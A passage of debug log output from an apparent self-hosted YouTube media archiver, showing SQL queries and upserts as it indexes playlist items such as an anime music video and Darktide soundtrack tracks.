playlist:\nhttps://www.youtube.com/playlist?list=PL933BAD8E68DF77FB", "duration" => 320, "filename" => "/downloads/Grift/Grift/2017-04-27Bubble Gum Crisis Vs Perturbator - Venger (Feat. Greta Link) [AMV][Y2PUCc7djLc].m4a", "id" => "Y2PUCc7djLc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Y2PUCc7djLc", "playlist_index" => 5, "timestamp" => 1493328044, "title" => "Bubble Gum Crisis Vs Perturbator - Venger (Feat. Greta Link) [AMV]", "upload_date" => "20170427"} 22:20:49.120 [debug] QUERY OK source="sources" db=0.1ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:49.120 [debug] QUERY OK source="sources" db=0.1ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:49.120 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-04-27 21:20:44Z], 4] 22:20:49.316 [debug] QUERY OK source="media_items" db=195.7ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["NOW OVER 100K VIEWS!! IS THIS STILL REAL LIFE?! THIS IS MY FIRST AND ONLY VIDEO TO REACH THIS COUNT! THANKS FOR THE VIEWERSHIP EVERYONE!!!!! \\o/\n\n**DISCLAIMER** This AMV is made with non-profit and does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\nOPENING STRONG IN 2017!!!! Finally back in business baby!!\n\nAnd for real, if you see the Artist; Perturbator, tell him/her that I got his/her official music video right here!\n\nI fucking, love, this song. Who would have thought that finishing Wolfenstein - The New Order on a Friday morning could lead me to wonderful musical discoveries on the You Tubes?! I mean, I also discovered that Kirsten Dunst made a music video waaaaaaay back in 2010!!! Who woulda thought that eh?\n\nI must have listened to this tune 4,000 times upon discovery last weekend. I consider it to be amongst the best songs I have heard in my entire life and it immediately inspired me to make an AMV with it. Fellow 1980s born peeps will instantly recognise my use of the setting of Bubble Gum Crisis 2033 (not 2040, we do not ever mention that abomination). Out of all the episodes, I made use of the tale of \"Revenge Road\", which I thought goes very well with Perturbator's \"Venger\" theme. I may have altered the natural plot of the anime to fit the song's narrative but I reckon it's worth it. So yeah, please enjoy this video. I already consider it one of my all time best.\n\nPS: I love Greta Link's voice. Whouuuuuuuuuu!! XD\n\nPreceded by:\n\nMardock Scramble Vs Overseer - Sparks\nhttps://www.youtube.com/watch?v=v4SJq_S44b0\n\nMy AMV playlist:\nhttps://www.youtube.com/playlist?list=PL933BAD8E68DF77FB", "Bubble Gum Crisis Vs Perturbator - Venger (Feat. Greta Link) [AMV]", "c5c24e58-c46f-42f3-af58-4851b5d95c7e", false, "Y2PUCc7djLc", 320, false, "https://www.youtube.com/watch?v=Y2PUCc7djLc", 5, "/downloads/Grift/Grift/2017-04-27Bubble Gum Crisis Vs Perturbator - Venger (Feat. Greta Link) [AMV][Y2PUCc7djLc].m4a", false, false, 4, [], 1, ~U[2017-04-27 21:20:44Z], ~U[2026-07-24 02:20:49Z], ~U[2026-07-24 02:20:49Z], "NOW OVER 100K VIEWS!! IS THIS STILL REAL LIFE?! THIS IS MY FIRST AND ONLY VIDEO TO REACH THIS COUNT! THANKS FOR THE VIEWERSHIP EVERYONE!!!!! \\o/\n\n**DISCLAIMER** This AMV is made with non-profit and does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\nOPENING STRONG IN 2017!!!! Finally back in business baby!!\n\nAnd for real, if you see the Artist; Perturbator, tell him/her that I got his/her official music video right here!\n\nI fucking, love, this song. Who would have thought that finishing Wolfenstein - The New Order on a Friday morning could lead me to wonderful musical discoveries on the You Tubes?! I mean, I also discovered that Kirsten Dunst made a music video waaaaaaay back in 2010!!! Who woulda thought that eh?\n\nI must have listened to this tune 4,000 times upon discovery last weekend. I consider it to be amongst the best songs I have heard in my entire life and it immediately inspired me to make an AMV with it. Fellow 1980s born peeps will instantly recognise my use of the setting of Bubble Gum Crisis 2033 (not 2040, we do not ever mention that abomination). Out of all the episodes, I made use of the tale of \"Revenge Road\", which I thought goes very well with Perturbator's \"Venger\" theme. I may have altered the natural plot of the anime to fit the song's narrative but I reckon it's worth it. So yeah, please enjoy this video. I already consider it one of my all time best.\n\nPS: I love Greta Link's voice. Whouuuuuuuuuu!! XD\n\nPreceded by:\n\nMardock Scramble Vs Overseer - Sparks\nhttps://www.youtube.com/watch?v=v4SJq_S44b0\n\nMy AMV playlist:\nhttps://www.youtube.com/playlist?list=PL933BAD8E68DF77FB", "Bubble Gum Crisis Vs Perturbator - Venger (Feat. Greta Link) [AMV]", "Y2PUCc7djLc", 320, false, "https://www.youtube.com/watch?v=Y2PUCc7djLc", "/downloads/Grift/Grift/2017-04-27Bubble Gum Crisis Vs Perturbator - Venger (Feat. Greta Link) [AMV][Y2PUCc7djLc].m4a", false, 4, ~U[2017-04-27 21:20:44Z]] 22:20:49.318 [debug] QUERY OK source="sources" db=1.2ms idle=197.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:49.318 [debug] QUERY OK source="media_profiles" db=0.2ms idle=198.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:49.319 [debug] QUERY OK source="media_items" db=0.4ms idle=198.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [109] 22:20:49.319 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by IIP-DDS\n\nImmortal Imperium · Jesper Kyd\n\nWarhammer 40,000: Darktide (Original Soundtrack)\n\n℗ Games Workshop Limited under license to Laced Music Ltd t/a Laced Records\n\nReleased on: 2022-11-18\n\nMusic Publisher: Games Workshop Limited\nComposer: Jesper Kyd\n\nAuto-generated by YouTube.", "duration" => 234, "filename" => "/downloads/Grift/Grift/2024-05-07Immortal Imperium[Q_mBrKIHfx8].m4a", "id" => "Q_mBrKIHfx8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Q_mBrKIHfx8", "playlist_index" => 6, "timestamp" => 1715093814, "title" => "Immortal Imperium", "upload_date" => "20240507"} 22:20:49.320 [debug] QUERY OK source="sources" db=0.2ms idle=199.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:49.320 [debug] QUERY OK source="sources" db=0.1ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:49.320 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-07 14:56:54Z], 4] 22:20:49.518 [debug] QUERY OK source="media_items" db=197.1ms idle=2.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nImmortal Imperium · Jesper Kyd\n\nWarhammer 40,000: Darktide (Original Soundtrack)\n\n℗ Games Workshop Limited under license to Laced Music Ltd t/a Laced Records\n\nReleased on: 2022-11-18\n\nMusic Publisher: Games Workshop Limited\nComposer: Jesper Kyd\n\nAuto-generated by YouTube.", "Immortal Imperium", "d618a788-900d-49c8-b70f-722ef91ab039", false, "Q_mBrKIHfx8", 234, false, "https://www.youtube.com/watch?v=Q_mBrKIHfx8", 6, "/downloads/Grift/Grift/2024-05-07Immortal Imperium[Q_mBrKIHfx8].m4a", false, false, 4, [], 2, ~U[2024-05-07 14:56:54Z], ~U[2026-07-24 02:20:49Z], ~U[2026-07-24 02:20:49Z], "Provided to YouTube by IIP-DDS\n\nImmortal Imperium · Jesper Kyd\n\nWarhammer 40,000: Darktide (Original Soundtrack)\n\n℗ Games Workshop Limited under license to Laced Music Ltd t/a Laced Records\n\nReleased on: 2022-11-18\n\nMusic Publisher: Games Workshop Limited\nComposer: Jesper Kyd\n\nAuto-generated by YouTube.", "Immortal Imperium", "Q_mBrKIHfx8", 234, false, "https://www.youtube.com/watch?v=Q_mBrKIHfx8", "/downloads/Grift/Grift/2024-05-07Immortal Imperium[Q_mBrKIHfx8].m4a", false, 4, ~U[2024-05-07 14:56:54Z]] 22:20:49.519 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=199.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:49.520 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=199.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:49.521 [debug] QUERY OK source="media_items" db=0.6ms idle=200.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [110] 22:20:49.522 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by IIP-DDS\n\nDisposal Unit (Imperium Mix) · Jesper Kyd\n\nWarhammer 40,000: Darktide (Original Soundtrack)\n\n℗ Games Workshop Limited under license to Laced Music Ltd t/a Laced Records\n\nReleased on: 2022-11-18\n\nMusic Publisher: Games Workshop Limited\nComposer: Jesper Kyd\n\nAuto-generated by YouTube.", "duration" => 213, "filename" => "/downloads/Grift/Grift/2024-05-07Disposal Unit (Imperium Mix)[Ni3CazygOh4].m4a", "id" => "Ni3CazygOh4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Ni3CazygOh4", "playlist_index" => 7, "timestamp" => 1715093813, "title" => "Disposal Unit (Imperium Mix)", "upload_date" => "20240507"} 22:20:49.523 [debug] QUERY OK source="sources" db=0.8ms idle=201.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:49.524 [debug] QUERY OK source="sources" db=0.4ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:49.525 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-07 14:56:53Z], 4] 22:20:49.698 [debug] QUERY OK source="media_items" db=172.4ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nDisposal Unit (Imperium Mix) · Jesper Kyd\n\nWarhammer 40,000: Darktide (Original Soundtrack)\n\n℗ Games Workshop Limited under license to Laced Music Ltd t/a Laced Records\n\nReleased on: 2022-11-18\n\nMusic Publisher: Games Workshop Limited\nComposer: Jesper Kyd\n\nAuto-generated by YouTube.", "Disposal Unit (Imperium Mix)", "53756fbe-bd9c-4dd3-a066-be9f7e19615c", false, "Ni3CazygOh4", 213, false, "https://www.youtube.com/watch?v=Ni3CazygOh4", 7, "/downloads/Grift/Grift/2024-05-07Disposal Unit (Imperium Mix)[Ni3CazygOh4].m4a", false, false, 4, [], 2, ~U[2024-05-07 14:56:53Z], ~U[2026-07-24 02:20:49Z], ~U[2026-07-24 02:20:49Z], "Provided to YouTube by IIP-DDS\n\nDisposal Unit (Imperium Mix) · Jesper Kyd\n\nWarhammer 40,000: Darktide (Original Soundtrack)\n\n℗ Games Workshop Limited under license to Laced Music Ltd t/a Laced Records\n\nReleased on: 2022-11-18\n\nMusic Publisher: Games Workshop Limited\nComposer: Jesper Kyd\n\nAuto-generated by YouTube.", "Disposal Unit (Imperium Mix)", "Ni3CazygOh4", 213, false, "https://www.youtube.com/watch?v=Ni3CazygOh4", "/downloads/Grift/Grift/2024-05-07Disposal Unit (Imperium Mix)[Ni3CazygOh4].m4a", false, 4, ~U[2024-05-07 14:56:53Z]] 22:20:49.698 [debug] QUERY OK source="sources" db=0.3ms idle=176.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:49.699 [debug] QUERY OK source="media_profiles" db=0.2ms idle=175.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:49.718 [debug] QUERY OK source="media_items" db=18.9ms idle=175.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [111] 22:20:49.718 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#doom #doometernal #theonlythingtheyfearisyou #doomost", "duration" => 375, "filename" => "/downloads/Grift/Grift/2023-01-28Mick Gordon - The Only Thing They Fear Is You (DOOM Eternal OST)+Dr.Elena Richardson's Audio Logs[VK0jsNPJQy4].m4a", "id" => "VK0jsNPJQy4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VK0jsNPJQy4", "playlist_index" => 8, "timestamp" => 1674912990, "title" => "Mick Gordon - The Only Thing They Fear Is You (DOOM Eternal OST)+Dr.Elena Richardson's Audio Logs", "upload_date" => "20230128"} 22:20:49.719 [debug] QUERY OK source="sources" db=0.6ms idle=194.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:49.720 [debug] QUERY OK source="sources" db=0.4ms idle=22.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:49.721 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=22.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-28 13:36:30Z], 4] 22:20:49.918 [debug] Current batch of media processed. Will check again in 1000ms 22:20:49.918 [debug] QUERY OK source="media_items" db=196.1ms idle=23.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#doom #doometernal #theonlythingtheyfearisyou #doomost", "Mick Gordon - The Only Thing They Fear Is You (DOOM Eternal OST)+Dr.Elena Richardson's Audio Logs", "d6ff87ee-92c7-4cef-ad0f-3c5c1fb0bffd", false, "VK0jsNPJQy4", 375, false, "https://www.youtube.com/watch?v=VK0jsNPJQy4", 8, "/downloads/Grift/Grift/2023-01-28Mick Gordon - The Only Thing They Fear Is You (DOOM Eternal OST)+Dr.Elena Richardson's Audio Logs[VK0jsNPJQy4].m4a", false, false, 4, [], 1, ~U[2023-01-28 13:36:30Z], ~U[2026-07-24 02:20:49Z], ~U[2026-07-24 02:20:49Z], "#doom #doometernal #theonlythingtheyfearisyou #doomost", "Mick Gordon - The Only Thing They Fear Is You (DOOM Eternal OST)+Dr.Elena Richardson's Audio Logs", "VK0jsNPJQy4", 375, false, "https://www.youtube.com/watch?v=VK0jsNPJQy4", "/downloads/Grift/Grift/2023-01-28Mick Gordon - The Only Thing They Fear Is You (DOOM Eternal OST)+Dr.Elena Richardson's Audio Logs[VK0jsNPJQy4].m4a", false, 4, ~U[2023-01-28 13:36:30Z]] 22:20:49.919 [debug] QUERY OK source="sources" db=0.4ms idle=198.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:49.919 [debug] QUERY OK source="media_profiles" db=0.3ms idle=198.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:49.920 [debug] QUERY OK source="media_items" db=0.2ms idle=198.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND 